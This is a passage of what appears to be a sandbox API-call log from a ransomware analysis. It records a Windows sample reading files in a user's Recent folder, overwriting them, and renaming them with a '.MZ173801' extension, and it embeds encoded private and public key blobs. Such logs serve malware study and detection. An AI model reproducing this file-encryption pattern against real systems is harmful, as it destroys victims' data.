hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x596 [0147.038] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.038] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x596, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x596, lpOverlapped=0x0) returned 1 [0147.038] CloseHandle (hObject=0x280) returned 1 [0147.039] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7xXZSvgm4j.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\7xxzsvgm4j.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.039] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x596, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x596, lpOverlapped=0x0) returned 1 [0147.040] CloseHandle (hObject=0x280) returned 1 [0147.042] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7xXZSvgm4j.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\7xxzsvgm4j.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7xXZSvgm4j.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\7xxzsvgm4j.lnk.mz173801")) returned 1 [0147.042] GetCurrentThreadId () returned 0xab4 [0147.042] GetCurrentThreadId () returned 0xab4 [0147.042] GetCurrentThreadId () returned 0xab4 [0147.042] GetCurrentThreadId () returned 0xab4 [0147.042] GetCurrentThreadId () returned 0xab4 [0147.042] GetCurrentThreadId () returned 0xab4 [0147.042] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ec4ede, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf4ec4ede, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf4ec4ede, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3e5, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="8SsQp4xZlzVC.lnk", cAlternateFileName="8SSQP4~1.LNK")) returned 1 [0147.042] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.042] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.042] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8SsQp4xZlzVC.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\8ssqp4xzlzvc.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ec4ede, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf4ec4ede, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf4ec4ede, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3e5)) returned 1 [0147.042] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8SsQp4xZlzVC.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\8ssqp4xzlzvc.lnk")) returned 0x20 [0147.042] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8SsQp4xZlzVC.lnk", dwFileAttributes=0x80) returned 1 [0147.044] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.044] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.045] GetCurrentThreadId () returned 0xab4 [0147.045] GetCurrentThreadId () returned 0xab4 [0147.045] GetCurrentThreadId () returned 0xab4 [0147.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.046] GetCurrentThreadId () returned 0xab4 [0147.046] GetCurrentThreadId () returned 0xab4 [0147.046] GetCurrentThreadId () returned 0xab4 [0147.046] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8SsQp4xZlzVC.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\8ssqp4xzlzvc.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.046] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.046] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.046] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3e5 [0147.046] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.046] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3e5, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3e5, lpOverlapped=0x0) returned 1 [0147.056] CloseHandle (hObject=0x280) returned 1 [0147.057] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8SsQp4xZlzVC.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\8ssqp4xzlzvc.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.058] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3e5, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3e5, lpOverlapped=0x0) returned 1 [0147.059] CloseHandle (hObject=0x280) returned 1 [0147.060] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8SsQp4xZlzVC.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\8ssqp4xzlzvc.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8SsQp4xZlzVC.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\8ssqp4xzlzvc.lnk.mz173801")) returned 1 [0147.073] GetCurrentThreadId () returned 0xab4 [0147.073] GetCurrentThreadId () returned 0xab4 [0147.073] GetCurrentThreadId () returned 0xab4 [0147.073] GetCurrentThreadId () returned 0xab4 [0147.073] GetCurrentThreadId () returned 0xab4 [0147.073] GetCurrentThreadId () returned 0xab4 [0147.073] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf115ad1f, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x552245be, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x552245be, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x22f, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="9qqaMDM.lnk", cAlternateFileName="")) returned 1 [0147.073] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.073] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.073] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9qqaMDM.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9qqamdm.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf115ad1f, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x552245be, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x552245be, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x22f)) returned 1 [0147.073] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9qqaMDM.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9qqamdm.lnk")) returned 0x20 [0147.073] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9qqaMDM.lnk", dwFileAttributes=0x80) returned 1 [0147.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 